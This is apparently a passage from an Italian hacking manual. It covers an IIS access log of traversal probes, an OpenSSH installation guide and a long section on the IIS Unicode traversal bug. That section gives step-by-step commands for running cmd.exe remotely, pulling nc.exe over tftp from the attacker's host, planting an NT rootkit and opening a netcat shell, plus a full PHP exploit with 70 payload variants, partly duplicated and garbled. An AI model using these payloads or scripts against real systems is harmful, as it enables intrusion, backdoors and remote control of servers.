/scripts/..%c1%1c../..%c1%1c../mssql7/install/pubtext.bat"+&+dir
+c:+.exe HTTP/1.0" 404 333
69warp87.newtel.com - - [14/Aug/2001:13:11:00 -0400]
"GET /."./."./winnt/win.ini%20.php3 HTTP/1.0" 404 293
69warp87.newtel.com - - [14/Aug/2001:13:11:00 -0400] "GET /global.asp\
HTTP/1.0" 404 277
69warp87.newtel.com - - [14/Aug/2001:13:11:01 -0400] "POST /cgibin/search.pl HTTP/1.0" 404 283
69warp87.newtel.com - - [14/Aug/2001:13:11:01 -0400] "GET
/.nsf/../winnt/win.ini HTTP/1.0" 404 279
69warp87.newtel.com - - [14/Aug/2001:13:13:21 -0400] "-" 408 69warp87.newtel.com - - [14/Aug/2001:13:13:32 -0400] "-" 408 69warp87.newtel.com - - [14/Aug/2001:13:13:44 -0400] "-" 408 69warp87.newtel.com - - [14/Aug/2001:13:13:55 -0400] "-" 408 69warp87.newtel.com - - [14/Aug/2001:13:15:25 -0400] "-" 408 69warp87.newtel.com - - [14/Aug/2001:13:15:36 -0400] "-" 408 69warp87.newtel.com - - [14/Aug/2001:13:15:47 -0400] "-" 408 69warp87.newtel.com - - [14/Aug/2001:13:15:50 -0400] "-" 408 -

SSH
Secure Shell (SSH) in pratica un sostituto sicuro di telnet, login o rsh in ambiente Unix.
Una compressione dei dati viene fornita come opzione pu essere utilizzata insieme a molti
schemi di autenticazione come SecurID, Kerberos e S/KEY per fornire un accesso remoto
altamente sicuro a server UNIX.
I comandi Telnet, rlogin, rcp, rsh hanno parecchi punti deboli quanto a sicurezza: tutte le
comunicazioni sono in chiaro e nessuna autenticazione viene svolta dalla macchina.
Questi comandi sono suscettibili di intercettazione e allo spoofing dell'indirizzo IP.
SSH protegge da:

Intercettazione di dati trasmessi tramite la rete.


Manipolazione di dati negli elementi intermedi della rete (come i router).
IP address spoofing dove l'host attaccante finge di essere uno affidabile inviando
pacchetti con l'indirizzo di questo.
DNS spoofing di server DNS fidati.
IP source routing

SSH pu essere usata per loggarsi in modo sicuro su un altro computer in una rete, eseguire
comandi sul sistema remoto, e copiare file da una macchina all'altra.
SSH fornisce comunicazioni e autenticazioni sicure su canali che non lo sono.
Dovrebbe essere usata come rimpiazzo per rlogin, rsh, and rcp. In aggiunta a ci, SSH
fornisce connessioni protezione per le connessioni X11 e per l'inoltro dei pacchetti di quelle
TCP.
Supporta sistemi di autenticazione fortemente protetti come RSA, SecurID, S/Key,
Kerberos e TIS (cos come la consueta procedura UNIX di username/password).
Esistono tre sistemi di sicurezza: shosts, rhosts compatibile e RSA. RSA la pi
sicura (usa un sistema a chiave pubblica/privata per identificare le connessioni), ma
scavalca l'autenticazione username/password di UNIX.
Il server SSH gira su UNIX, Linux e VAX.
I Client girano su questi, e anche su Windows e molte altre piattaforme.
La compressione dei dati pu essere attivata per migliorare le prestazioni su reti
lente.
Proxy Internet SSH:
o Non conosco di nessun proxy SSH funzionante: Magosanyi Arpad ha iniziato
a lavorare su uno basato su OpenSSH (se ne parla sulla lista degli
sviluppatori di OpenSSH, il messaggio datato 13 gennaio 2000 17:10:05),
ma non l'ha ancora terminato.
o SSH pu essere compilato in modo che possa attraversare i proxy SOCKS.
SOCKS un protocollo generale per i proxy, inizialmente sostenuto da NEC,
ma disponibile ora presso molti altri fornitori.
SSH1 per UNIX disponibile come prodotto gratuito o commerciale (di DataFellows).
Epossibile scaricare una versione dimostrativa per scopi educativi da :
http://www.ssh.org/download.html
Il sito della DataFollows invece a :
http://wwwdatafellows.com
Il server ha un file di configurazione file /etc/sshd_config, il client legge la configurazione da
/etc/ssh_config, che contiene settaggi di default a livello di sistema.
La configurazione di questo file pu essere scavalcata da file di configurazione specifici di
ogni utente (nella directory ~user/.ssh).
Server: configurate il demone ssh in modo che l'accesso sia limitato agli host specificati per
nome e con chiavi pubbliche note (/etc/ssh_known_hosts) e l'autenticazione rhosts sia
disabilitata.
Installiamo OpenSSH in /usr/{bin,sbin,man}, con i file di configurazione in /etc/ssh, che sono
le directory usate dall'installazione binaria RPM di RH6.1.
Suse Linux 6.3:

Notate che la Suse 6.3 ha SSH1 gi installata in /usr e ci crea conflitti con
l'installazione di OpenSSH. Quindi rimuovete il pacchetto (assicuratevi si essere
connessi su una linea seriale in quanto tutte le connessione SSH potrebbero
interrompersi):
rpm -erase ssh-1.2.27-41
Non ci sono RPM binari, e i source RPM non funzionano facilmente, per cui
compilate e installate direttamente dai sorgenti:
zcat openssl-0.9.3.tar.gz | tar xf -; cd openssl-0.9.3;
./config;
make && make install;
zcat openssh-1_2_2_tar.gz |tar xf -; cd openssh-1.2.2;
./configure --prefix=/usr --sysconfdir=/etc/ssh -without-pam --with-tcp-wrappers
make && make install;
Generate una chiave per l'host: ssh-keygen -b 1024 -f /etc/ssh/ssh_host_key -N ''

Lanciate il demone:

/usr/sbin/sshd

Red Hat 6.1 su SPARC:

Non ci sono RPM binari disponibili per SPARC, quindi costruiteli dai sorgenti. Il
sistema su cui ho testato la compilazione una RH 6.1 "installazione server" vergine
su SPARC4.
Pi semplicemente, scaricate i sorgenti SSL [0] e lasciate perdere gli RPM (che
richiedono un po' di smanettamento per funzionare su SPARC):
zcat openssl-0.9.3.tar.gz | tar xf - ; cd openssl-0.9.3;
./config;
make && make install;
Allo stesso modo compilate ssh dai sorgenti:
zcat openssh-1_2_2_tar.gz |tar xf -; cd openssh-1.2.2;
./configure --prefix=/usr --sysconfdir=/etc/ssh -without-pam --with-tcp-wrappers
make && make install
Generate una chiave per l'host: ssh-keygen -b 1024 -f /etc/ssh/ssh_host_key -N ''
Lanciate il demone:
/usr/sbin/sshd

Red Hat 6.1 su Intel i386:

Qui la cosa abbastanza semplice perch esistono gli RPM binari. Sia SSH Server
che gli RPM dei client sono dosponibili nei mirror di OpenSSH, che viene installato
in /usr/{bin,sbin,man}, con i file di configurazione in /etc/ssh/. Questi RPM sono
progettati per la 6.1 con aggiunti solo gli aggiornamenti di sicurezza. Scaricate e
installate i pacchetti:
rpm -i openssl-0_9_4-3_i386.rpm
rpm -i openssh-1.2.2-1.i386.rpm
rpm -i openssh-server-1.2.2-1.i386.rpm
rpm -i openssh-clients-1.2.2-1.i386.rpm
Lanciate il demone:
/usr/sbin/sshd

Un'installazione su RH6.0, ha comportato problemi con gli RPM, in questo caso


conviene installare dai sorgenti come visto sopra per RH SPARC e Suse.

Problemi:

Problemi: contrariamente alle altre varianti per Linux testate qui, quella per SPARC
non funziona bene.: checksum non corretti vengono riportati sia per il client SSH1
che per MindtermSSH.
I test sono stati positivi tra SSH1, OpenSSH e Mindterm SSH su tutti i sistemi tranne
RH SPARC, con l'eccezione di "scp" con MindtermSSH. scp di altri client come SSH1
funziona invece correttamente.

Unicode Bug
Tra i vari metodi per riuscire ad accedere ai servers che utilizzano IIS c quello definito con il
termine di UNICODE BUG.
Esiste una associazione definita Rain Forest Puppy (RFP) il cui scopo quello di esporre
tutte le vulnerabilit dei computer.
Lunicode bug stato testato e descritto da questa associazione la quale ha condotto una
serie di test utilizzando diversi metodi.
Quello che scaturito che la rappresentazione lunga dei caratteri / e \ usati normalmente
nella definizione dei percorsi dei sistemi e precisamente %c0%af e %c1%9c creano in alcuni
casi dei problemi quando software come IIS cercano di decodificarli.

Il sistema ISO/IEC ha infatti definito un set di caratteri multi-ottetto in grado di rappresentare


set di caratteri non possibili nello standard ANSI.
Lo standard UTF-8 descrive la traslazione di formato dal codice ASCII considerato singleoctet a quello multi-octet.
I caratteri la cui codifica minore o uguale a 7bits rimane invariato in quanto gli viene
semplicemente appeso uno 0 (0xxxxxxx).
Ad esempio la lettera A che rappresentata da 41 in esadecimale viene visualizzata in
binario con 1000001.
In UTF-8 diventa soltanto 01000001.
UTF-8 dice invece che I caratteri rappresentati con meno di 12 bits ma maggiore di 7 bits
viene rappresentato come 110xxxxx 10xxxxxx.
Se un carattere possiede un valore esadecimale di 10F, avra un valore binario di
100001111.
100001111 lungo 9 bits.
In UTF-8s la rappresentazione sar "11000100 10001111" binary o "C4 8F" in esadecaimale.
Questo numero ottenuto aggiungendo i bits seguendo le regole dettate da UTF-8.
Aggiungendo 100001111 in 110xxxxx 10xxxxxx e riempendo I valori blank (x) con 0.
110xxxxx 10xxxxxx
+ 100 001111

UTF-8 Rule for 7 to 12 Bits


Binary value of Hexadecimal character 10F

110xx100 10001111
11000100 10001111

Result of the two values added together (less padding of 0s)


Results of two values added together w/0s

C4 8F

Hexadecimal value

Un sommario della rappresentazione dei caratteri con UTF-8 il seguente.


00-07
08-11
12-16
17-21

bits
bits
bits
bits

0xxxxxxx
110xxxxx 10xxxxxx
1110xxxx 10xxxxxx 10xxxxxx
11110xxx 10xxxxxx 10xxxxxx 10xxxxxx

Usando tali regole di composizione avremmo che usando telnet inviare


%57%57%57" sarebbe come usare "GET WWW."

"%47%45%54

Quando viene installato INTERNET INFORMATION SERVER atto a gestire I WEB servers in
Windows il sistema crea un certo numero di directory di default come ad esempio :
"C:\inetpub"
e
"C:\inetpub\wwwroot"
Generalmente quando su una linea di comando passata a IIS viene specificato un percorso
viene controllato che questo non corrisponda a una di queste directory di sistema.
Il problema di IIS usando lUNICODE dovuto al fatto che questo decodifica %C1%81 come
lettera A eseguendo la decodifica solo dopo che stato controllato il percorso.
In una linea di comando come quella che segue i significati sono quelli a seguito.
"http://www.vulnerable.com/msadc/..%c0%af../..%c0%af../..
%c0%af../winnt/system32/cmd.exe?/c+dir+..\..\..\..\"
"/msadc/"
Representa il punto di partenza per la navigazione. Molte delle installazioni IIS sono
configurate per puntare a questa directory loa quale localizzata in "C:\Program
Files\Common files\msadc."

"..%c0%af/"
Representa il primo path relativo a "C:\Program Files\Common Files\msadc"; questo path
"C:\Program Files\Common Files.
"..%c0%af/"
Representa il secondo path relativo da "C:\Program Files\Common Files\msdac"; il path
"C:\Program Files"
"/winnt/system32/cmd.exe?"
Representa il comando che si intende eseguire
"c+dir+..\..\..\"
Rappresenta il parametro che deve essere eseguito.
Prima di vedere un programma intero atto a utilizzare questo bug vediamo come potremmo
provare a mano di inserire dentro ad un server una BACKDOOR.
Per prima cosa andate al capitolo dove viene descritto NETCAT e compilatelo.
Con COPERNIC cercate sulla rete NT ROOTKIT il quale contiene i seguenti file mostrati
nellimmagine.

Rootkit stato anche lui visto precedentemente in ogni caso solo al fine di rinfrescarsi la
memoria voglio ricordare che il programma installato sul sistema della vittima risponde su un
determinato IP.
I processi che iniziano con __ROOT__ vengono mantenuti nascosti come allo stesso modo le
directory e i files.
Anche le chiavi di registro che iniziano con i sei caratteri _root_ vengono mantenute
nascoste.
Per prima cosa proviamo a creare sul sistema remoto un file qualsiasi per vedere se questo
predisposto a questo tipo di attacco.
Lanciamo telnet agganciandolo alla porta HTT ovvero alla 80 con :
$ telnet 192.168.222.1 80
Trying 192.168.222.1
Connected to 192.168.222.1
Escare character is ^].
Ora digitiamo :
GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+echo+test+message+>test.msg

Dopo linvio riceveremo :


HTTP/1.1 200 OK
Server: Microsoft-IIS/4.0
Date: Fri, 18 Jan 2002 19:00:30 GMT
Content-Length: 0
Content-Type: text/plain
Connection closed by foreign host.

Ora per essere sicuri del successo di questo metodo possiamo allo stesso modo richiedere al
sistema remoto di eseguire un TYPE del file di testo creato.
$ telnet 192.168.222.1 80
Trying 192.168.222.1
Connected to 192.168.222.1
Escare character is ^].
GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+type+test.msg
HTTP/1.1 200 OK
Server: Microsoft-IIS/4.0
Date: Fri, 18 Jan 2002 19:00:30 GMT
Content-Length: 0
Content-Type: text/plain
Test message
Connection closed by foreign host.
Come potete vedere dalla penultima linea, se il metodo funziona vedremo il testo scritto
dentro al file di testo.
Se il tutto funzionato allora possiamo passare alla fase vera e propria ovvero quella in cui
mediante lesecuzione di un comando con CMD.EXE situato sul server remoto richiederemo
di aprire una connessione TFTP in modo tale da uplodare il sistema della backdoor.
Sempre allo stesso modo attiviamo con TELNET richiedendo la connessione ad un IP sulla
porta 80.
$ telnet 192.168.222.1 80
Trying 192.168.222.1
Connected to 192.168.222.1
Escare character is ^].
GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+tftp+I+xxx.xxx.xxx.xxx+GET+nc.exe
HTTP/1.1 200 OK
Server: Microsoft-IIS/4.0
Date: Fri, 18 Jan 2002 19:00:30 GMT
Content-Length: 0
Content-Type: text/plain
Connection closed by foreign host.
Chiaramente xxx.xxx.xxx.xxx lIP del nostro sistema su cui abbiano NC.EXE creato da
sorgenti presenti su questo volume.
Ora ripetiamo la stessa procedura due volte per trasferire DEPLOY.EXE e _ROOT_.SYS
Dopo aver inserito i programmi sul sistema remoto a questo punto eseguiamoli aprendo un
shell su questo.
A questo punto la connessione con TELNET avviene sulla porta 100.
La stringa GET ora :
GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+nc.exe+-l+-p+100+-t+-e+cmd.exe

Ora il sistema remoto attende solo che noi apriamo una connessione sulla porta 100.
$ telnet 192.168.222.1 100
Trying 192.168.222.1
Connected to 192.168.222.1
Escare character is ^].

Ed ecco il risultato :
c:\winnt\system32\>
Il seguente sorgente scritto in PHP costituisce lexploit per i sistemi che sono sensibili a
questo problema.
Luso di un sorgente in PHP pu risultare utile nel qual caso non si disponga della possibilit
di compilare uno degli exploits scritti in linguaggio C.
Le stringhe che vedete nella testata definite dentro ad un array sono di fatto quelle che
vengono usate sul sistema WEB.
#!php -q
<?
$vector_ataque[0]="/msadc/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+";
$vector_ataque[1]="/msadc/..
%25%35%63../..%25%35%63../..%25%35%63../winnt/system32/cmd.exe?/c+";
$vector_ataque[2]="/msadc/..%255c..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+";
$vector_ataque[3]="/msadc/..
%25%35%63..%25%35%63..%25%35%63..%25%35%63winnt/system32/cmd.exe?/c+";
$vector_ataque[4]="/scripts/..%255c..%255cwinnt/system32/cmd.exe?/c+";
$vector_ataque[5]="/scripts/..%252f..%252f..%252f..%252fwinnt/system32/cmd.exe?/c+";
$vector_ataque[6]="/scripts/..%255c..%255cwinnt/system32/cmd.exe?/c+";
$vector_ataque[7]="/msadc/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+";
$vector_ataque[8]="/msadc/..%%35c../..%%35c../..%%35c../winnt/system32/cmd.exe?/c+";
$vector_ataque[9]="/msadc/..%%35%63../..%%35%63../..%
%35%63../winnt/system32/cmd.exe?/c+";
$vector_ataque[10]="/msadc/..
%25%35%63../..%25%35%63../..%25%35%63../winnt/system32/cmd.exe?/c+";
$vector_ataque[11]="/MSADC/..%255c..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+";
$vector_ataque[12]="/MSADC/..%%35c..%%35c..%%35c..%%35cwinnt/system32/cmd.exe?/c+";
$vector_ataque[13]="/MSADC/..%%35%63..%%35%63..%%35%63..%
%35%63winnt/system32/cmd.exe?/c+";
$vector_ataque[14]="/MSADC/..
%25%35%63..%25%35%63..%25%35%63..%25%35%63winnt/system32/cmd.exe?/c+";
$vector_ataque[15]="/_vti_bin/..%255c..%255c..%255c..%255c..
%255c../winnt/system32/cmd.exe?/c+";
$vector_ataque[16]="/_vti_bin/..%%35c..%%35c..%%35c..%%35c..%
%35c../winnt/system32/cmd.exe?/c+";
$vector_ataque[17]="/_vti_bin/..%%35%63..%%35%63..%%35%63..%%35%63..%
%35%63../winnt/system32/cmd.exe?/c+";
$vector_ataque[18]="/_vti_bin/..
%25%35%63..%25%35%63..%25%35%63..%25%35%63..%25%35%63../winnt/system32/cmd.exe?/c+";
$vector_ataque[19]="/PBServer/..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+";
$vector_ataque[20]="/PBServer/..%%35c..%%35c..%%35cwinnt/system32/cmd.exe?/c+";
$vector_ataque[21]="/PBServer/..%%35%63..%%35%63..%%35%63winnt/system32/cmd.exe?/c+";
$vector_ataque[22]="/PBServer/..
%25%35%63..%25%35%63..%25%35%63winnt/system32/cmd.exe?/c+";
$vector_ataque[23]="/Rpc/..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+";
$vector_ataque[24]="/Rpc/..%%35c..%%35c..%%35cwinnt/system32/cmd.exe?/c+";
$vector_ataque[25]="/Rpc/..%%35%63..%%35%63..%%35%63winnt/system32/cmd.exe?/c+";
$vector_ataque[26]="/Rpc/..%25%35%63..%25%35%63..%25%35%63winnt/system32/cmd.exe?/c+";
$vector_ataque[27]="/_vti_bin/..%255c..%255c..%255c..%255c..
%255c../winnt/system32/cmd.exe?/c+";
$vector_ataque[28]="/_vti_bin/..%%35c..%%35c..%%35c..%%35c..%
%35c../winnt/system32/cmd.exe?/c+";
$vector_ataque[29]="/_vti_bin/..%%35%63..%%35%63..%%35%63..%%35%63..%
%35%63../winnt/system32/cmd.exe?/c+";
$vector_ataque[30]="/_vti_bin/..
%25%35%63..%25%35%63..%25%35%63..%25%35%63..%25%35%63../winnt/system32/cmd.exe?/c+";
$vector_ataque[31]="/samples/..%255c..%255c..%255c..%255c..%255c..
%255cwinnt/system32/cmd.exe?/c+";
$vector_ataque[32]="/cgi-bin/..%255c..%255c..%255c..%255c..%255c..
%255cwinnt/system32/cmd.exe?/c+";
$vector_ataque[33]="/iisadmpwd/..%252f..%252f..%252f..%252f..%252f..
%252fwinnt/system32/cmd.exe?/c+";
$vector_ataque[34]="/_vti_cnf/..%255c..%255c..%255c..%255c..%255c..
%255cwinnt/system32/cmd.exe?/c+";
$vector_ataque[35]="/adsamples/..%255c..%255c..%255c..%255c..%255c..
%255cwinnt/system32/cmd.exe?/c+";

$vector_ataque[36]="/scripts/..%C1%1C..%C1%1C..%C1%1C..
%C1%1Cwinnt/system32/cmd.exe?/c+";
$vector_ataque[37]="/scripts/..%C1%9C..%C1%9C..%C1%9C..
%C1%9Cwinnt/system32/cmd.exe?/c+";
$vector_ataque[38]="/scripts/..%C0%AF..%C0%AF..%C0%AF..
%C0%AFwinnt/system32/cmd.exe?/c+";
$vector_ataque[39]="/scripts/..%252f..%252f..%252f..%252fwinnt/system32/cmd.exe?/c+";
$vector_ataque[40]="/scripts/..%255c..%255cwinnt/system32/cmd.exe?/c+";
$vector_ataque[41]="/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+";
$vector_ataque[42]="/scripts/..%c0%9v../winnt/system32/cmd.exe?/c+";
$vector_ataque[43]="/scripts/..%c0%af../winnt/system32/cmd.exe?/c+";
$vector_ataque[44]="/scripts/..%c0%qf../winnt/system32/cmd.exe?/c+";
$vector_ataque[45]="/scripts/..%c1%8s../winnt/system32/cmd.exe?/c+";
$vector_ataque[46]="/scripts/..%c1%9c../winnt/system32/cmd.exe?/c+";
$vector_ataque[47]="/scripts/..%c1%pc../winnt/system32/cmd.exe?/c+";
$vector_ataque[48]="/msadc/..%c0%af../..%c0%af../..
%c0%af../winnt/system32/cmd.exe?/c+";
$vector_ataque[49]="/_vti_bin/..%c0%af../..%c0%af../..
%c0%af../winnt/system32/cmd.exe?/c+";
$vector_ataque[50]="/scripts/..%c0%af../winnt/system32/cmd.exe?/c+";
$vector_ataque[51]="/scripts..%c1%9c../winnt/system32/cmd.exe?/c+";
$vector_ataque[52]="/scripts/..%c1%pc../winnt/system32/cmd.exe?/c+";
$vector_ataque[53]="/scripts/..%c0%9v../winnt/system32/cmd.exe?/c+";
$vector_ataque[54]="/scripts/..%c0%qf../winnt/system32/cmd.exe?/c+";
$vector_ataque[55]="/scripts/..%c1%8s../winnt/system32/cmd.exe?/c+";
$vector_ataque[56]="/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+";
$vector_ataque[57]="/scripts/..%c1%9c../winnt/system32/cmd.exe?/c+";
$vector_ataque[58]="/scripts/..%c1%af../winnt/system32/cmd.exe?/c+";
$vector_ataque[59]="/scripts/..%e0%80%af../winnt/system32/cmd.exe?/c+";
$vector_ataque[60]="/scripts/..%f0%80%80%af../winnt/system32/cmd.exe?/c+";
$vector_ataque[61]="/scripts/..%f8%80%80%80%af../winnt/system32/cmd.exe?/c+";
$vector_ataque[62]="/scripts/..%fc%80%80%80%80%af../winnt/system32/cmd.exe?/c+";
$vector_ataque[63]="/msadc/..\%e0\%80\%af../..\%e0\%80\%af../..\
%e0\%80\%af../winnt/system32/cmd.exe\?/c+";
$vector_ataque[64]="/cgi-bin/..%c0%af..%c0%af..%c0%af..%c0%af..
%c0%af../winnt/system32/cmd.exe?/c+";
$vector_ataque[65]="/samples/..%c0%af..%c0%af..%c0%af..%c0%af..
%c0%af../winnt/system32/cmd.exe?/c+";
$vector_ataque[66]="/iisadmpwd/..%c0%af..%c0%af..%c0%af..%c0%af..
%c0%af../winnt/system32/cmd.exe?/c+";
$vector_ataque[67]="/_vti_cnf/..%c0%af..%c0%af..%c0%af..%c0%af..
%c0%af../winnt/system32/cmd.exe?/c+";
$vector_ataque[68]="/_vti_bin/..%c0%af..%c0%af..%c0%af..%c0%af..
%c0%af../winnt/system32/cmd.exe?/c+";
$vector_ataque[69]="/adsamples/..%c0%af..%c0%af..%c0%af..%c0%af..
%c0%af../winnt/system32/cmd.exe?/c+";
if(!isset($argv[1]))
{
echo
"\n\n--------------------------------------------------------------------\n";
echo "------------- (c) UNICODE exploit for IIS 5.0/4.0 by BoloTron
------\n";
echo
"--------------------------------------------------------------------\n\n";
echo "Usage of the wicked device:\n";
echo $argv[0]." -t www.victim.vic\n";
echo $argv[0]." -t www.victim.vic -p proxy:port\n";
echo $argv[0]." www.victim.vic comand variant_number\n";
echo $argv[0]." -p proxy:port www.victim.vic comand
variant_number\n";
echo "Options:\n";
echo "-t --> Test the vulnerability (Try known variants till find
the good
one)\n";
echo "-p --> Attack through proxy\n";
echo "\nUse Mode:\n1) Test the host and get the variants number in
case
vulnerability exists\n";
echo "2) Attack with command and variants number (optionaly you can
use
proxy)\n";
echo "Note : When you specify a command with spaces, replace spaces
with low script \"_\" \n";
echo "and you must double the backslash \"\\\". \n
Example".$argv[0]." -p proxy.prx:3128 www.victima.com dir_c:\\\\inetpub 49\n";
echo "Thanks to An-tonio for the proxy support.\n";
echo "Bug discover by Anonymous Post.\n";

}
else
{

echo "TYPE ".$argv[0]." spanish, for Spanish help.\n";

if($argv[1]=="spanish")
{
echo
"\n\n--------------------------------------------------------------------\n";
echo "------------- (c) Exploit UNICODE para IIS 5.0/4.0 por
BoloTron ----\n";
echo
"--------------------------------------------------------------------\n\n";
echo "Uso del artefacto maligno :\n";
echo $argv[0]." -t www.victima.vic\n";
echo $argv[0]." -t www.victima.vic -p proxy:puerto\n";
echo $argv[0]." www.victima.vic comando n_de_variante\n";
echo $argv[0]." -p proxy:port www.victima.vic comand
n_de_variante\n";
echo "Opciones:\n";
echo "-t --> Testea la vulnerabilidad, prueba todas las
variantes hasta encontrar una buena.\n";
echo "-p --> Ataque a traves de proxy\n";
echo "\nModo de Empleo:\n1) Testear el host y anotar el
numero de variante en caso de ser vulnerable\n";
echo "2) Atacar especificando comando y n de variante
(opcionalmente puedes especificar un proxy)\n";
echo "Nota : Cuando se especifica un comando en el que hay
espacios hay que sustituirlos por un guion bajo _ \n";
echo "y las contrabarras hay que ponerlas dobles. \nEjemplo :
".$argv[0]." -p proxy.prx:3128 www.victima.com dir_c:\\\\inetpub 49\n";
echo "Gracias a An-tonio por sus indicaciones en el soporte
proxy.\n";
echo "Bug descubierto por aviso anonimo.\n";
exit;
}
if($argv[1]=="-t")
{
if ($argv[3]=="-p")
{
for($i=0;$i<70;$i++)
{
$prox=explode(":",$argv[4]);
$comando="dir+c:\\";
$fp = fsockopen($prox[0], $prox[1]);
if(!$fp)
{
echo "Conection failed...\n";
}
else
{
fputs($fp,"GET
http://".$argv[2]."".$vector_ataque[$i]."".$comando."; HTTP/1.0\n\n");
echo "Trying variant number ".$i." ";
while(!feof($fp))
{
$resul=$resul.fgets($fp,128);
}
if (ereg("<DIR>", $resul))
{
echo "-----> Vulnerable!!\n";
exit;
}
else
{
echo "-----> NoT Vulnerable
:(\n";
}
}
fclose($fp);

}
}
else
{
for($i=0;$i<70;$i++)
{

$port=80;
$comando="dir+c:\\";
$fp = fsockopen($argv[2], $port);
if(!$fp)
{
echo "Conection failed...\n";
}
else
{
fputs($fp,"GET
".$vector_ataque[$i]."".$comando." HTTP/1.0\n\n");
echo "Trying variant number ".$i." ";
while(!feof($fp))
{
$resul=$resul.fgets($fp,128);
}
if (ereg("<DIR>", $resul))
{
echo "-----> vulnerable!!\n";
exit;
}
else
{
echo "-----> No Vulnerable :
(\n";
}

}
else
{

}
fclose($fp);
}
}

if($argv[1]=="-p")
{
$prox=explode(":",$argv[2]);
$port=$prox[1];
$comando=ereg_replace("_","+",$argv[4]);
$fp = fsockopen($prox[0], $port);
if(!$fp)
{

echo "Conection failed.\n";

}
else
{

fputs($fp,"GET
http://".$argv[3]."".$vector_ataque[$argv[5]]."".$comando."; HTTP/1.0\n\n");
while(!feof($fp))
{
echo fgets($fp,128);
}
}
fclose($fp);
}
else
{

$port=80;
$comando=ereg_replace("_","+",$argv[2]);
$fp = fsockopen($argv[1], $port);
if(!$fp)
{
echo "Conection failed.\n";
}
else
{
fputs($fp,"GET ".
$vector_ataque[$argv[3]]."".$comando." HTTP/1.0\n\n");
while(!feof($fp))
{
echo fgets($fp,128);
}
}
fclose($fp);
}

}
?>
---------- cut here

#!php -q
<?
$vector_ataque[0]="/msadc/..%255c../..%255c../..
%255c../winnt/system32/cmd.exe?/c+";
$vector_ataque[1]="/msadc/..
%25%35%63../..%25%35%63../..%25%35%63../winnt/system32/cmd.exe?/c+";
$vector_ataque[2]="/msadc/..%255c..%255c..%255c..
%255cwinnt/system32/cmd.exe?/c+";
$vector_ataque[3]="/msadc/..
%25%35%63..%25%35%63..%25%35%63..%25%35%63winnt/system32/cmd.exe?/c+";
$vector_ataque[4]="/scripts/..%255c..
%255cwinnt/system32/cmd.exe?/c+";
$vector_ataque[5]="/scripts/..%252f..%252f..%252f..
%252fwinnt/system32/cmd.exe?/c+";
$vector_ataque[6]="/scripts/..%255c..
%255cwinnt/system32/cmd.exe?/c+";
$vector_ataque[7]="/msadc/..%255c../..%255c../..
%255c../winnt/system32/cmd.exe?/c+";
$vector_ataque[8]="/msadc/..%%35c../..%%35c../..%
%35c../winnt/system32/cmd.exe?/c+";
$vector_ataque[9]="/msadc/..%%35%63../..%%35%63../..%
%35%63../winnt/system32/cmd.exe?/c+";
$vector_ataque[10]="/msadc/..
%25%35%63../..%25%35%63../..%25%35%63../winnt/system32/cmd.exe?/c+";
$vector_ataque[11]="/MSADC/..%255c..%255c..%255c..
%255cwinnt/system32/cmd.exe?/c+";
$vector_ataque[12]="/MSADC/..%%35c..%%35c..%%35c..%
%35cwinnt/system32/cmd.exe?/c+";
$vector_ataque[13]="/MSADC/..%%35%63..%%35%63..%%35%63..%
%35%63winnt/system32/cmd.exe?/c+";
$vector_ataque[14]="/MSADC/..
%25%35%63..%25%35%63..%25%35%63..%25%35%63winnt/system32/cmd.exe?/c+";
$vector_ataque[15]="/_vti_bin/..%255c..%255c..%255c..%255c..
%255c../winnt/system32/cmd.exe?/c+";
$vector_ataque[16]="/_vti_bin/..%%35c..%%35c..%%35c..%%35c..%
%35c../winnt/system32/cmd.exe?/c+";
$vector_ataque[17]="/_vti_bin/..%%35%63..%%35%63..%%35%63..%%35%63..%
%35%63../winnt/system32/cmd.exe?/c+";
$vector_ataque[18]="/_vti_bin/..
%25%35%63..%25%35%63..%25%35%63..%25%35%63..%25%35%63../winnt/system32/cmd.exe?/c+";
$vector_ataque[19]="/PBServer/..%255c..%255c..
%255cwinnt/system32/cmd.exe?/c+";
$vector_ataque[20]="/PBServer/..%%35c..%%35c..%
%35cwinnt/system32/cmd.exe?/c+";
$vector_ataque[21]="/PBServer/..%%35%63..%%35%63..%
%35%63winnt/system32/cmd.exe?/c+";
$vector_ataque[22]="/PBServer/..
%25%35%63..%25%35%63..%25%35%63winnt/system32/cmd.exe?/c+";
$vector_ataque[23]="/Rpc/..%255c..%255c..
%255cwinnt/system32/cmd.exe?/c+";
$vector_ataque[24]="/Rpc/..%%35c..%%35c..%
%35cwinnt/system32/cmd.exe?/c+";
$vector_ataque[25]="/Rpc/..%%35%63..%%35%63..%
%35%63winnt/system32/cmd.exe?/c+";
$vector_ataque[26]="/Rpc/..
%25%35%63..%25%35%63..%25%35%63winnt/system32/cmd.exe?/c+";
$vector_ataque[27]="/_vti_bin/..%255c..%255c..%255c..%255c..
%255c../winnt/system32/cmd.exe?/c+";
$vector_ataque[28]="/_vti_bin/..%%35c..%%35c..%%35c..%%35c..%
%35c../winnt/system32/cmd.exe?/c+";
$vector_ataque[29]="/_vti_bin/..%%35%63..%%35%63..%%35%63..%%35%63..%
%35%63../winnt/system32/cmd.exe?/c+";

$vector_ataque[30]="/_vti_bin/..
%25%35%63..%25%35%63..%25%35%63..%25%35%63..%25%35%63../winnt/system32/cmd.exe?/c+";
$vector_ataque[31]="/samples/..%255c..%255c..%255c..%255c..%255c..
%255cwinnt/system32/cmd.exe?/c+";
$vector_ataque[32]="/cgi-bin/..%255c..%255c..%255c..%255c..%255c..
%255cwinnt/system32/cmd.exe?/c+";
$vector_ataque[33]="/iisadmpwd/..%252f..%252f..%252f..%252f..%252f..
%252fwinnt/system32/cmd.exe?/c+";
$vector_ataque[34]="/_vti_cnf/..%255c..%255c..%255c..%255c..%255c..
%255cwinnt/system32/cmd.exe?/c+";
$vector_ataque[35]="/adsamples/..%255c..%255c..%255c..%255c..%255c..
%255cwinnt/system32/cmd.exe?/c+";
$vector_ataque[36]="/scripts/..%C1%1C..%C1%1C..%C1%1C..
%C1%1Cwinnt/system32/cmd.exe?/c+";
